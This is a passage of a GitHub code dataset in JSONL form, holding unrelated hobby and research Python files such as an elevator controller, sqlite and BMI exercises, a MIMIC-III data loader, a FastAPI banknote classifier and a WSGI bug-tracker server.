#1--------------------\")\r\n column = Column(1, 'online', 10, 2)\r\n column.display()\r\n column.elevatorsList[0].currentFloor = 2\r\n column.elevatorsList[1].currentFloor = 6\r\n print()\r\n elevator = column.requestElevator(3, 'up')\r\n elevator.requestFloor(7)\r\n print()\r\n print(\"______________________________________________________________________________________________\")\r\n print()\r\n\r\n\r\n# ----------------------SCENARIO 2---------------------//\r\n\r\n# Elevator 1 is Idle at floor 10\r\n# Elevator 2 is idle at floor 3\r\n# Someone is on the 1st floor and requests the 6th floor.\r\n# Elevator 2 should be sent.\r\n# 2 minutes later, someone else is on the 3rd floor and requests the 5th floor. Elevator 2 should be sent.\r\n# Finally, a third person is at floor 9 and wants to go down to the 2nd floor.\r\n# Elevator 1 should be sent.\r\n\r\ndef scenario2():\r\n print()\r\n print(\"______________________________________________________________________________________________\")\r\n print()\r\n print(\"--------------------SCENARIO #2--------------------\")\r\n column = Column(1, 'online', 10, 2)\r\n column.display()\r\n column.elevatorsList[0].currentFloor = 10\r\n column.elevatorsList[1].currentFloor = 3\r\n print()\r\n print(\"-----[REQUEST #1]-----\")\r\n print()\r\n elevator = column.requestElevator(1, 'up')\r\n elevator.requestFloor(6)\r\n print()\r\n print()\r\n print(\"-----[REQUEST #2]-----\")\r\n print()\r\n print()\r\n column.elevatorsList[1].currentFloor = 6\r\n elevator = column.requestElevator(3, 'up')\r\n elevator.requestFloor(5)\r\n print()\r\n print()\r\n print(\"-----[REQUEST #3]-----\")\r\n print()\r\n print()\r\n elevator = column.requestElevator(9, 'down')\r\n elevator.requestFloor(2)\r\n print()\r\n print(\"______________________________________________________________________________________________\")\r\n print()\r\n\r\n\r\n# ----------------------SCENARIO 3---------------------//\r\n\r\n# Elevator A is Idle at floor 10\r\n# Elevator B is Moving from floor 3 to floor 6\r\n# Someone is on floor 3 and requests the 2nd floor.\r\n# Elevator A should be sent.\r\n# 5 minutes later, someone else is on the 10th floor and wants to go to the 3rd. Elevator B should be sent.\r\n\r\ndef scenario3():\r\n print()\r\n print(\"______________________________________________________________________________________________\")\r\n print()\r\n print(\"--------------------SCENARIO #3--------------------\")\r\n column = Column(1, 'online', 10, 2)\r\n column.display()\r\n column.elevatorsList[0].currentFloor = 10\r\n column.elevatorsList[1].currentFloor = 3\r\n column.elevatorsList[1].status = 'moving'\r\n print()\r\n print(\"-----[REQUEST #1]-----\")\r\n print()\r\n elevator = column.requestElevator(3, 'down')\r\n elevator.requestFloor(2)\r\n print()\r\n print(\"-----[REQUEST #2]-----\")\r\n print()\r\n column.elevatorsList[1].currentFloor = 6\r\n column.elevatorsList[1].status = 'idle'\r\n elevator = column.requestElevator(10, 'down')\r\n elevator.requestFloor(3)\r\n print()\r\n print(\"______________________________________________________________________________________________\")\r\n print()\r\n\r\n# TO SIMULATE A SCENARIO IN THE TERMINAL, SIMPLY UNCOMMENT (REMOVE THE #) THE DESIRED FUNCTION\r\n\r\n\r\n# scenario1()\r\n# scenario2()\r\n# scenario3()\r\n","repo_name":"emtl688/Rocket-Elevators-Python-Controller","sub_path":"residential_controller.py","file_name":"residential_controller.py","file_ext":"py","file_size_in_byte":12114,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"43640496126","text":"import sqlite3\n\n#maak test db aan\ncnx = sqlite3.connect('python/test.db') \ncursor = cnx.cursor() #dit ding praat basically met de db\n\n#maak table in test db\ncursor.execute(\"create table games (release_year integer, release_name text)\")\n\ndb_test_list = [ #what a thrill\n (2001, \"Metal Gear Solid 2: Sons of Liberty\"),\n (2004, \"Metal Gear Solid 3: Snake Eater\"),\n (2008, \"Metal Gear Solid 4: Guns of the Patriots\"),\n (2002, \"Pokémon Ruby\"),\n (2004, \"Pokémon FireRed\"),\n (2006, \"Pokémon Pearl\"),\n (2002, \"Phoenix Wright: Ace Attorney - Justice for All\"),\n (2007, \"Apollo Justice: Ace Attorney\")\n]\n\n#voer list aan db\ncursor.executemany(\"INSERT INTO games VALUES (?, ?)\", db_test_list) #de vraagtekens hier maken het wat veiliger om dingen in de db te bewaren (denk aan sql injections)\ncnx.commit() #dit is belangrijk anders stopt ie het niet in db\n\n#voeg iets toe aan db\nnew_entry = [(2001, \"Phoenix Wright\"), (2015, \"The Great Ace Attorney: Adventures\"), (2022, \"Pokémon Scarlet\")]\ncursor.executemany(\"INSERT INTO games (release_year, release_name) VALUES (?,?)\", new_entry)\ncnx.commit()\n\n#update row in db\nupdate_entry_stm = \"UPDATE games SET release_name = 'Phoenix Wright: Ace Attorney' WHERE release_name = 'Phoenix Wright'\"\ncursor.execute(update_entry_stm)\ncnx.commit()\n\n#delete row in db\ndelete_stm = \"DELETE FROM games WHERE release_name = 'Pokémon Scarlet'\"\ncursor.execute(delete_stm)\ncnx.commit()\n\n#select all rows from table\nfor row in cursor.execute(\"SELECT * FROM games\"): #print alle rows in table games\n print(row)\n\n#select all rows w/ specific value\ncursor.execute(\"SELECT * FROM games WHERE release_year = :y\", {\"y\": 2002})\nfetch = cursor.fetchall() #pakt alle rows die aan query voldoen\nprint(fetch)\n\ncnx.close()","repo_name":"0974201/code-bin","sub_path":"python/sqlite3_test.py","file_name":"sqlite3_test.py","file_ext":"py","file_size_in_byte":1759,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"14374035943","text":"import numpy as np\nimport pandas as pd\nimport os\nimport sys\nfrom data_sources.patient_data_source import PatientDataSource, Patient, Observation\n\ndtype_string_mapping = { # Map schema dtype string to pandas dtype\n 'int4' : \"int32_possibly_nan\",\n # Why is int4 being treated specially? For easier NaN support; see\n # https://pandas.pydata.org/pandas-docs/stable/user_guide/gotchas.html#support-for-integer-na\n # It just happened to be in these tables that int4 columns were the ones that sometimes had NaNs\n 'int2' : np.int16,\n 'varchar' : str,\n 'numeric' : np.float32,\n 'timestamp' : np.datetime64, # pandas handles this differently-- we will deal with the exception below\n 'float8' : np.double\n}\n\n\ndef get_dtype_dict(pasted_table_path):\n \"\"\"Given the path to a schema description text file, read out a dictionary that describes the schema.\"\"\"\n dtype_dict = {}\n with open(pasted_table_path) as f:\n for line in f.readlines():\n try:\n column_name, dtype_string = line.split()[:2]\n except BaseException as e:\n print(f\"The schema description at {pasted_table_path} might not be formatted correctly.\", file=sys.stderr)\n raise\n if dtype_string not in dtype_string_mapping.keys():\n raise KeyError(f\"Please add an entry for {dtype_string} to dtype_string_mapping\")\n mapped_string = dtype_string_mapping[dtype_string]\n dtype_dict[column_name.upper()] = mapped_string\n return dtype_dict\n\nclass Mimic3Patient(Patient):\n\n # see https://www.hl7.org/fhir/valueset-administrative-gender.html\n FHIR_GENDER_MAPPING = {'M':'male', 'F':'female'} \n\n def __init__(self, patient_info):\n self.patient_info = patient_info\n\n def get_gender(self): \n return Patient.Gender[self.FHIR_GENDER_MAPPING[self.patient_info.GENDER].upper()]\n\n def get_identifier_value(self):\n return str(self.patient_info.name)\n\n def get_identifier_system(self):\n return 'https://mimic.mit.edu/docs/iii/tables/patients/#subject_id'\n\n def get_dob(self):\n return self.patient_info.DOB.strftime('%Y-%m-%d')\n\n\nclass Mimic3Observation(Observation):\n\n def __init__(self, observation_info):\n self.observation_info = observation_info\n\n def get_identifier_value(self):\n return str(self.observation_info.name)\n\n def get_identifier_system(self):\n return 'ROW_ID in https://mimic.mit.edu/docs/iii/tables/chartevents/'\n\n def get_unit_string(self):\n return self.observation_info.VALUEUOM\n\n def get_observation_type(self):\n return Mimic3.KEY_FROM_ITEM_ID[int(self.observation_info.ITEMID)].upper()\n\n def get_value(self):\n return self.observation_info.VALUENUM\n\n def get_time(self):\n return self.observation_info.CHARTTIME.strftime('%Y-%m-%dT%H:%M:%S-05:00')\n\n\n\nclass Mimic3(PatientDataSource):\n \"\"\"This class handles loading the tables we want from the MIMIC-III dataset\"\"\"\n\n # The item ID of each chart event that we support exporting to the fhir server\n # These IDs were determined by exploring the D_ITEMS table; see https://mimic.mit.edu/docs/iii/tables/d_items/\n ITEM_IDS = {\n 'fio2' : 3420,\n 'pip' : 507,\n 'peep' : 505,\n 'hr' : 211,\n 'sao2' : 834,\n }\n\n # Inverse of the ITEM_IDS mapping\n KEY_FROM_ITEM_ID = {v:k for k,v in ITEM_IDS.items()}\n\n def __init__(self, mimic3_data_dir, mimic3_schemas_dir):\n \"\"\"\n Given the path to the mimic3 dataset and the path to the schema text files,\n load into memory the tables that we care about.\n \"\"\"\n\n if not os.path.isdir(mimic3_data_dir):\n raise FileNotFoundError(f\"Please provide a valid directory for the MIMIC-III data directory; received: {mimic3_data_dir}\")\n if not os.path.isdir(mimic3_schemas_dir):\n raise FileNotFoundError(f\"Please provide a valid directory for the MIMIC-III schema descriptions; received: {mimic3_schemas_dir}\")\n\n self.data_dir = mimic3_data_dir\n self.schemas_dir = './mimic3-schemas/'\n self.ICUSTAYS = self.read_table('ICUSTAYS', 'ICUSTAY_ID')\n self.NICUSTAYS = self.ICUSTAYS[self.ICUSTAYS.FIRST_CAREUNIT == 'NICU']\n self.PATIENTS = self.read_table('PATIENTS', 'SUBJECT_ID')\n self.NICU_PATIENTS = self.PATIENTS.loc[self.NICUSTAYS.SUBJECT_ID.astype(int)]\n self.D_ITEMS = self.read_table('D_ITEMS', \"ITEMID\")\n\n self.nicu_stay_ids = set(self.NICUSTAYS.index)\n\n with self.read_table(\"CHARTEVENTS\", index_col=\"ROW_ID\", chunksize=1e6) as reader:\n for n, chunk in enumerate(reader):\n nicu_chartevents_chunk = chunk[chunk.ICUSTAY_ID.isin(self.nicu_stay_ids)]\n if n==0:\n self.NICU_CHARTEVENTS = nicu_chartevents_chunk\n else:\n self.NICU_CHARTEVENTS = pd.concat([self.NICU_CHARTEVENTS,nicu_chartevents_chunk])\n print(f'chunk {n}/330 done, collected {len(self.NICU_CHARTEVENTS)} samples in total')\n\n # Select only the chart events that we support converting into Observation resource\n self.NICU_CHARTEVENTS_SUPPORTED = self.NICU_CHARTEVENTS[\n self.NICU_CHARTEVENTS.ITEMID.isin(self.ITEM_IDS.values()) # ensure that item id is a supported one\n & (self.NICU_CHARTEVENTS.STOPPED=='NotStopd') # ensure that the measurement was not discontinued\n & (~self.NICU_CHARTEVENTS.VALUENUM.isna()) # ensure that numerical value is not nan\n ]\n\n\n def read_table(self, table_name, index_col=None, chunksize=None):\n \"\"\"\n Load a DataFrame using pandas read_csv.\n\n Args:\n table_name: The name of the csv file. The corresponding schema description text file is expected to have the same basename.\n index_col: Name of the column to be used as an index for the DataFrame\n chunksize: If set to not none, then this is the number of rows to read at a time.\n When this options is used, a context manager TextFileReader is returned, rather than a DataFrame\n \"\"\"\n\n schema_description_path = os.path.join(self.schemas_dir,f'{table_name}.txt')\n if not os.path.isfile(schema_description_path):\n raise FileNotFoundError(f\"Could not find schema description text file for the {table_name} table at {schema_description_path}.\")\n\n dtype_dict = get_dtype_dict(schema_description_path)\n parse_int = [index_col] # if index col is int, definitely parse it that way b/c it should be NaN anyway\n\n # It makes sense to also parse all the ID columns as int,\n # however some ID columns in CHARTEVENTS cause trouble, so commenting this out:\n # parse_int += [colname for colname in dtype_dict if '_ID' in colname]\n\n date_cols = []\n for colname in list(dtype_dict):\n if dtype_dict[colname] == np.datetime64:\n dtype_dict.pop(colname)\n date_cols.append(colname)\n continue\n # We use float in the following for better NaN support, except what we added to parse_int\n if dtype_dict[colname] == \"int32_possibly_nan\":\n dtype_dict[colname] = np.int32 if colname in parse_int else float\n\n table_path = os.path.join(self.data_dir,f'{table_name}.csv.gz')\n\n return pd.read_csv(\n table_path,\n index_col = index_col,\n dtype=dtype_dict,\n chunksize=chunksize,\n parse_dates = date_cols\n )\n\n def get_all_patients(self):\n return (Mimic3Patient(data) for _,data in self.NICU_PATIENTS.iterrows())\n\n def get_patient_observations(self, patient):\n patient_chart_events =\\\n self.NICU_CHARTEVENTS_SUPPORTED[self.NICU_CHARTEVENTS_SUPPORTED.SUBJECT_ID == int(patient.get_identifier_value())]\n\n return (Mimic3Observation(data) for _,data in patient_chart_events.iterrows())\n","repo_name":"KitwareMedical/fhir-sandbox","sub_path":"data_sources/mimic3.py","file_name":"mimic3.py","file_ext":"py","file_size_in_byte":7418,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"22872867604","text":"class Prime():\n def __init__(self,n):\n self.n=n\n\n def __iter__(self):\n self.cur=0\n self.a=self.b=2\n return self\n\n def __next__(self):\n if self.cur>=self.n:\n raise StopIteration\n self.cur+=1\n\n self.b+=1\n\n while True:\n for i in range(2,self.b):\n if self.b%i==0:\n self.b+=1\n break\n else:\n return self.b\n\n\n\np=Prime(5)\nprint(p,type(p))\nfor i in p:\n print(i)\n # 2,3,5,7,11\n\nl=[x for x in Prime(10)]\nprint(l)","repo_name":"abnormalmakers/object-oriented","sub_path":"overide/primenum_iter.py","file_name":"primenum_iter.py","file_ext":"py","file_size_in_byte":573,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"36224911193","text":"import csv\nfrom math import log10\nfrom collections import OrderedDict\n\nfrom xml.etree.ElementTree import Element, SubElement, Comment\n\n\nclass Matrix(object):\n \"\"\"\n Read and manage a matrix of numeric taxa features.\n\n @param csvfp: A file pointer, whose contents are CSV.\n @raise ValueError: If a feature or taxa name is repeated, or if\n a CSV row has too many/few values, or if there is not enough\n CSV data.\n \"\"\"\n\n def __init__(self, csvfp):\n taxa = OrderedDict()\n features = OrderedDict()\n\n for row, fields in enumerate(csv.reader(csvfp), start=1):\n if row == 1:\n for featureName in map(str.strip, fields[1:]):\n if featureName in features:\n raise ValueError(\n 'Feature name %r appears more than once' %\n featureName)\n else:\n features[featureName] = []\n nFeatures = len(features)\n else:\n if len(fields) - 1 != nFeatures:\n raise ValueError(\n 'Input row %d contains %d value fields, but there '\n 'were %d feature (column) headers' %\n (row, len(fields) - 1, nFeatures))\n\n taxaName = fields[0].strip()\n if taxaName in taxa:\n raise ValueError(\n 'Taxa name %r appears more than once' % taxaName)\n else:\n taxa[taxaName] = []\n\n for featureName, value in zip(features,\n map(float, fields[1:])):\n taxa[taxaName].append(value)\n features[featureName].append(value)\n\n if not features:\n raise ValueError('No input CSV data found.')\n\n if not taxa:\n raise ValueError('No taxa (rows) found in input CSV.')\n\n self.taxa = taxa\n self.features = features\n\n def distanceMatrix(self, featureName, logged=True):\n \"\"\"\n Create a distance matrix for a feature.\n\n @param featureName: A C{str} feature (column) name.\n @param logged: If C{True}, log (base 10) all values before calculating\n distances.\n @raise KeyError: If C{featureName} is unknown.\n @return: A square distance matrix. Row/column order is given by the\n ordering of the taxa in C{self.taxa}.\n \"\"\"\n if logged:\n scaledvalues = []\n for value in self.features[featureName]:\n try:\n scaledvalues.append(log10(value))\n except ValueError:\n scaledvalues.append(0.0)\n else:\n scaledvalues = self.features[featureName]\n values = dict(zip(self.taxa, scaledvalues))\n result = []\n for taxaName1 in self.taxa:\n row = []\n for taxaName2 in self.taxa:\n row.append(values[taxaName1] - values[taxaName2])\n result.append(row)\n return result\n\n def upperDiagonal(self, featureName, logged=True):\n \"\"\"\n Calculate the upper diagonal of a distance matrix for a feature.\n\n @param featureName: A C{str} feature (column) name.\n @param logged: If C{True}, log (base 10) all values before calculating\n distances.\n @raise KeyError: If C{featureName} is unknown.\n @return: A one-dimensional list of values from the upper diagonal of\n the distance matrix for the feature.\n \"\"\"\n result = []\n nTaxa = len(self.taxa)\n dm = self.distanceMatrix(featureName, logged)\n for row in range(nTaxa):\n for col in range(row + 1, nTaxa):\n result.append(dm[row][col])\n return result\n\n def upperDiagonalAsXML(self, featureName, elementName='xxx',\n logged=True):\n \"\"\"\n Calculate the upper diagonal of a distance matrix for a feature as XML.\n\n @param featureName: A C{str} feature (column) name.\n @param elementName: The C{str} name of the XML element tag to return.\n @param logged: If C{True}, log (base 10) all values before calculating\n distances.\n @raise KeyError: If C{featureName} is unknown.\n @return: An XML C{Element} whose children have the values from the\n upper diagonal of the feature named by C{featureName}.\n \"\"\"\n result = Element(elementName)\n for value in map(str, self.upperDiagonal(featureName, logged)):\n SubElement(result, 'value').text = value\n return result\n\n def allFeaturesAsXML(self, elementName='xxx', logged=True):\n \"\"\"\n Calculate the upper diagonal of a distance matrix for all feature as\n XML.\n\n @param elementName: The C{str} name of the XML element tag to return.\n @param logged: If C{True}, log (base 10) all values before calculating\n distances.\n @return: An XML C{Element} whose children are elements with the values\n from the upper diagonals of all features.\n \"\"\"\n result = Element(elementName)\n for featureName in self.features:\n result.append(Comment(featureName))\n child = self.upperDiagonalAsXML(\n featureName, elementName='feature', logged=logged)\n result.append(child)\n return result\n","repo_name":"acorg/christian-beast","sub_path":"cbeast/matrix.py","file_name":"matrix.py","file_ext":"py","file_size_in_byte":5486,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"17811067770","text":"# Oefening: maak een programma dat je BMI geeft\nlengte = int(input(\"Geef je lengte in cm: \"))\ngewicht = int(input(\"Geef je gewicht in kg: \"))\nif (lengte <= 0):\n print(\"Fout: lengte kan niet kleiner of gelijk zijn aan nul. Gegeven: \" + str(lengte) + \".\")\nelif (gewicht <= 0):\n print(\"Fout: gewicht kan niet kleiner of gelijk zijn aan nul. Gegeven: \" + str(gewicht) + \".\")\nelse:\n lengte /= 100 # van cm naar m\n bmi = (gewicht / lengte**2)\n print(\"Je BMI is: \" + str(round(bmi, 2)))\n\n## Oefeningen zonder oplossing (mail bij vragen!)\n#\n# Oefening: zorg ervoor dat het programma direct stopt als een foutieve lengte gegeven wordt.\n# Vraag in dat geval dus niet naar het gewicht.","repo_name":"TGThorax/python-ka2ring","sub_path":"src/bmi.py","file_name":"bmi.py","file_ext":"py","file_size_in_byte":692,"program_lang":"python","lang":"nl","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"70727603453","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[3]:\n\n\n# importing Required Libraries\n\nimport uvicorn #ASGI( Asynchronous Server Gateway Interface)\nfrom fastapi import FastAPI\nimport pickle\nimport numpy as np\nimport pandas as pd\nfrom BankNotes import BankNote\n\n\n# In[4]:\n\n\n# Create the app object\n\napp = FastAPI()\npickle_in = open('classifier.pkl', 'rb')\nclassifier = pickle.load(pickle_in)\n\n\n# In[6]:\n\n\n# Index, Route, opens automatically on http://127.0.0.1:8000\n\n@app.get('/')\n\ndef index():\n return {'message': 'Hello, World'}\n\n\n# In[7]:\n\n\n# Route with a single parameter, returns the parameter with a message \n# located at: http://127.0.0.1:8000/AnyNameHere\n\n@app.get('/{name}')\n\ndef get_name(name: str):\n return {'Message': f'Hello, {name}'}\n\n\n# In[8]:\n\n\n# Expose the prediction functionality, make a prediction from the pass\n# JSON data and return the predicted Bank Note with the confidence/probability\n\n@app.post('/predict')\n\ndef predict_banknote(data: BankNote):\n data = data.dict()\n variance = data['variance']\n skewness = data['skewness']\n curtosis = data['curtosis']\n entropy = data['entropy']\n \n prediction = classifier.predict([[variance,skewness,curtosis,entropy]])\n if(prediction[0] > 0.5):\n prediction = \"Fake Note\"\n else:\n prediction = \"Its a Bank Note\"\n return {\n 'Prediction': prediction\n }\n \n\n\n# In[ ]:\n\n\n# Run the API with uvicorn\n# it will run on http://127.0.0.1:8000\n\nif __name__ == '__main__':\n uvicorn.run(app, host='127.0.0.1', port=8000)\n\n# uvicorn app:app --reload \n\n","repo_name":"AkashSapariya/FastAPI-Bank-Note-Authentication","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1561,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"14054571409","text":"import requests\n\nclass NoScore(Exception): pass\n\nclass STiki:\n\t\n\tNoScore = NoScore\n\t\n\tdef __init__(self, uri, headers):\n\t\tself.uri = uri\n\t\tself.headers = headers\n\t\n\tdef lookup(self, rev_id):\n\t\trev_id = int(rev_id)\n\t\t\n\t\tresponse = requests.get(\n\t\t\tself.uri,\n\t\t\tparams={\n\t\t\t\t\"style\": \"score\",\n\t\t\t\t\"rid\": rev_id\n\t\t\t},\n\t\t\theaders=self.headers\n\t\t)\n\t\t\n\t\tif response.content.strip() == \"\":\n\t\t\traise NoScore\n\t\t\n\t\treturn float(response.content)\n\t\n\t@staticmethod\n\tdef from_config(config):\n\t\t\n\t\treturn STiki(\n\t\t\tconfig.snuggle['scores']['api']['uri'], \n\t\t\tconfig.snuggle['scores']['api'].get('headers')\n\t\t)\n","repo_name":"halfak/snuggle","sub_path":"snuggle/scores/stiki.py","file_name":"stiki.py","file_ext":"py","file_size_in_byte":596,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"78"}
+{"seq_id":"37224456145","text":"\"\"\" Testing the class DMT.core.DutType \"\"\"\n\nimport warnings\nimport logging\nfrom pathlib import Path\n\n# import pytest\nfrom DMT.core.dut_type import DutType\n\nfolder_path = Path(__file__).resolve().parent\n\nlogging.basicConfig(\n level=logging.DEBUG,\n format=\"%(levelname)s - %(message)s\",\n filename=folder_path.parent.parent / \"logs\" / \"test_dut_type.log\",\n filemode=\"w\",\n)\n\n\ndef test_unique():\n \"\"\"DuType values should be unique.\"\"\"\n values = [\n getattr(DutType, dt).value for dt in dir(DutType) if hasattr(getattr(DutType, dt), \"value\")\n ]\n\n assert len(values) == len(set(values))\n\n\ndef test_subtypes():\n \"\"\"Test if the types are the correct subtypes.\"\"\"\n\n assert DutType.device & DutType.transistor\n assert DutType.device & DutType.npn\n assert not DutType.device & DutType.tlm # a tlm is no device\n assert not DutType.meas_struct & DutType.npn\n\n assert not DutType.cap & DutType.meas_struct\n assert DutType.cap_ac & DutType.meas_struct\n\n assert DutType.tlmb & DutType.pn_diode # !!! WRONG!!\n assert not DutType.tlmb.is_subtype(\n DutType.pn_diode\n ) # USE THIS!! To test for flags and not for special devices!\n assert DutType.tlmb.is_subtype(DutType.tlm)\n\n assert DutType.npn.is_subtype(DutType.bjt)\n assert DutType.npn.is_subtype(DutType.transistor)\n assert not DutType.npn.is_subtype(DutType.mos)\n\n assert DutType.n_mos.is_subtype(DutType.mos)\n assert not DutType.n_mos.is_subtype(DutType.bjt)\n\n\ndef test_get_nodes():\n \"\"\"Tests the get nodes of the flags.\"\"\"\n\n assert DutType.tetrode.get_nodes() == [\"B1\", \"B2\", \"E\", \"C\", \"S\"]\n\n\ndef test_to_string():\n npn = DutType.deem_open_bjt\n assert str(npn) == \"open-bjt\"\n\n\ndef test_serialize():\n assert DutType.tetrode == DutType.deserialize(DutType.tetrode.serialize())\n assert DutType.pin_diode == DutType.deserialize(DutType.pin_diode.serialize())\n assert DutType.tlmbc == DutType.deserialize(DutType.tlmbc.serialize())\n assert DutType.deem_short_bjt == DutType.deserialize(DutType.deem_short_bjt.serialize())\n assert DutType.deem_short_mos == DutType.deserialize(DutType.deem_short_mos.serialize())\n\n with warnings.catch_warnings(record=True):\n DutType.deserialize(\n {\n \"DutType\": \"DMT.core.dut_type.DutTypeInt\",\n \"string\": \"definitily_newer_used_dut_type_name!!\",\n \"value\": -1,\n \"nodes\": [\"abc\", \"efd\"],\n \"__DutType__\": \"1.0.0\",\n }\n )\n\n\nif __name__ == \"__main__\":\n test_unique()\n test_subtypes()\n test_get_nodes()\n test_to_string()\n test_serialize()\n","repo_name":"semimod/DMT-core","sub_path":"test/test_core_no_interfaces/test_dut_type.py","file_name":"test_dut_type.py","file_ext":"py","file_size_in_byte":2640,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"78"}
+{"seq_id":"71978268092","text":"# Created by leon at 10/11/2017\n\nfrom __future__ import print_function\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n# Define the vector of input samples as x, with 20 values sampled from a uniform distribution\n# between 0 and 1\nx = np.random.uniform(0, 1, 20)\n# 定义目标函数,不加噪音\ndef f(x):\n return x * 2\n\n# 定义高斯噪音分布,使用正态分布表示,均值为0,方差为0.2 , 即 N(0, 0.2)\nnoise_variance = 0.2\nnoise = np.random.randn(x.shape[0]) * noise_variance + 0\nt = f(x) + noise # 最终的目标函数(带噪音)\n\nplt.plot(x, t, 'o', label='t')\n# Plot the initial line\nplt.plot([0, 1], [f(0), f(1)], 'b-', label='f(x)')\nplt.xlabel('$x$', fontsize=15)\nplt.ylabel('$t$', fontsize=15)\nplt.ylim([0,2])\nplt.title('inputs (x) vs targets (t)')\nplt.grid()\nplt.legend(loc=2)\nplt.show()\n","repo_name":"bazingagain/MLInAction","sub_path":"com.leon.ml/neuralnetwork/linearregression/linearregression.py","file_name":"linearregression.py","file_ext":"py","file_size_in_byte":820,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"8709267100","text":"# main program\n\nimport sys\nimport os\nimport io\nimport time\nimport re\nimport urllib\nimport webbrowser\n\nimport nbt_global\nimport router\nimport project\nimport gzip\nimport view\n\nfrom wsgiref.simple_server import make_server\nfrom wsgiref.util import *\n\ndef nbugtrack(environ, start_response):\n path = environ['PATH_INFO'];\n method = environ['REQUEST_METHOD']\n content_type = environ['CONTENT_TYPE']\n\n if method == 'GET': \n if environ[\"QUERY_STRING\"] != '':\n qs = environ[\"QUERY_STRING\"]\n qs = urllib.parse.unquote(qs) if nbt_global.python_version == '3' else urllib.unquote(qs)\n query = path+\"?\"+qs\n else:\n query = path\n \n # does a type dispatch and prints the content\n response = router.match(query)\n\n if response != None:\n content_type = \"text/html\"\n status = \"200 OK\"\n response = view.showView(response)\n expires_by = time.strftime(\"%a, %d %b %Y %H:%M:%S %Z\")\n cache_policy = 'no-store, no-cache'\n image_encoding = False\n\n if type(response) == list: # resource\n content_type = response[1]\n response = response[0]\n\n expires_by = time.strftime(\"%a, %d %b %Y %H:%M:%S %Z\", time.localtime(time.time() + 3600 * 24 * 30)) # expire a month from now\n cache_policy = 'max-age='+str(3600 * 24 * 30)\n\t\t\t\t\n if content_type == 'none':\n status = '404 Not Found'\n elif content_type.startswith('image'):\n image_encoding = True\n elif content_type == 'text/html':\n cache_policy = 'no-store, no-cache'\n\t\t\t\t\t\n # see: http://developer.yahoo.com/performance/rules.html\n # www.w3.org/Protocols/rfc2616/rfc2616-sec14.html\n headers = [('Content-type', content_type),\n ('Content-encoding', 'gzip'),\n ('Content-length', str(len(response))),\n ('Cache-Control', cache_policy),\n ('Expires', expires_by)]\n \n start_response(status, headers)\n\n if nbt_global.python_version == '3':\n if image_encoding == True:\n return [gzip.compress(bytes(response))]\n else:\n return [gzip.compress(bytes(response,\"utf-8\"))]\n\n try: # gzip compression\n return [compress(unicode.encode(response, encoding=\"utf_8\"))] \n except TypeError:\n return [compress(str(response))]\n\n elif response == None:\n headers = [('Content-type', 'text/plain')]\n status = '200 OK'\n start_response(status, headers)\n return [b\"error\"]\n\n elif method == 'POST':\n if content_type == 'application/x-www-form-urlencoded':\n parse_fn = parse_form_urlencoded_request\n elif content_type == 'application/x-www-form-urlencoded; charset=UTF-8':\n parse_fn = parse_form_urlencoded_request\n elif content_type == 'multipart/form-data':\n parse_fn = parse_multipart_formdata_request\n\n response = \"\"\n try:\n expires_by = time.strftime(\"%a, %d %b %Y %H:%M:%S %Z\")\n cache_policy = 'no-store, no-cache'\n content_enc = 'gzip'\n response_is_list = False\n request_len = int(environ['CONTENT_LENGTH'])\n request = environ['wsgi.input'].read(request_len)\n param_table = parse_fn(request)\n\n # XXX: I should put another dispatch table for post requests in router, as this is exactly the mess, I thought I'd avoid...\n\n invalid_chars = \"[\\#\\$\\@\\!\\^\\&\\*]+\"\n\n if path.startswith('/update_project'):\n response = view.showView(project.update_project(param_table['name'], param_table['desc']))\n elif path.startswith('/new_project'):\n name = param_table['name']\n \n if re.compile(invalid_chars).search(name):\n response = \"No Content\"\n else:\n response = view.showView(project.new_project(param_table['name'], param_table['desc']))\n elif path.startswith('/rename_project'):\n oldname = param_table['oldname']\n newname = param_table['newname']\n\n if re.compile(invalid_chars).search(newname) or re.compile(invalid_chars).search(oldname):\n response = \"No Content\"\n else:\n response = view.showView(project.rename_project(param_table['oldname'], param_table['newname']))\n elif path.startswith('/rename_wiki'):\n response = view.showView(project.rename_wiki(param_table['wiki_id'], param_table['newname']))\n elif path.startswith('/new_wiki'):\n response = view.showView(project.new_wiki(param_table['project_name'],param_table['name'], param_table['content']))\n elif path.startswith('/new_bug'):\n response = view.showView(project.new_bug(param_table['project_name'],param_table['shortname']))\n elif path.startswith('/update_bug'):\n response = view.showView(project.update_bug(param_table['id'], [param_table['desc'], param_table['prio'], param_table['stat']]))\n print(response) # XXX\n elif path.startswith('/update_wiki'):\n response = view.showView(project.update_wiki(param_table['id'], param_table['content']))\n elif path.startswith('/send_wtext'):\n response = view.showView(project.send_wtext(param_table['id']))\n response_is_list = True\n elif path.startswith('/send_btext'):\n response = view.showView(project.send_btext(param_table['id']))\n response_is_list = True\n else:\n response = \"No Content\"\n except Exception as e:\n print(str(e))\n response = \"error\" \n\n if response_is_list: # for the jquery response\n response = response[0]\n \n status = '200 OK'\n headers = [('Content-type', 'text/html'), \n ('Content-length', str(len(response))),\n ('Content-encoding', content_enc),\n ('Cache-Control', cache_policy),\n ('Expires', expires_by)]\n\n start_response(status, headers)\n \n if response_is_list: \n return [gzip.compress(bytes(response, 'utf-8'))] if sys.version[:1] == '3' else [compress(unicode.encode(response, 'utf_8'))]\n \n return [gzip.compress(bytes(response, 'utf-8'))] if sys.version[:1] == '3' else [compress(unicode.encode(response, 'utf_8'))] # gzip compression\n\n# gzip compression for strings was added from 3.0, the following\n# functions make it work with 2.x:\n# http://bugs.python.org/file15282/gzip.py.svndiff\ndef compress(data, 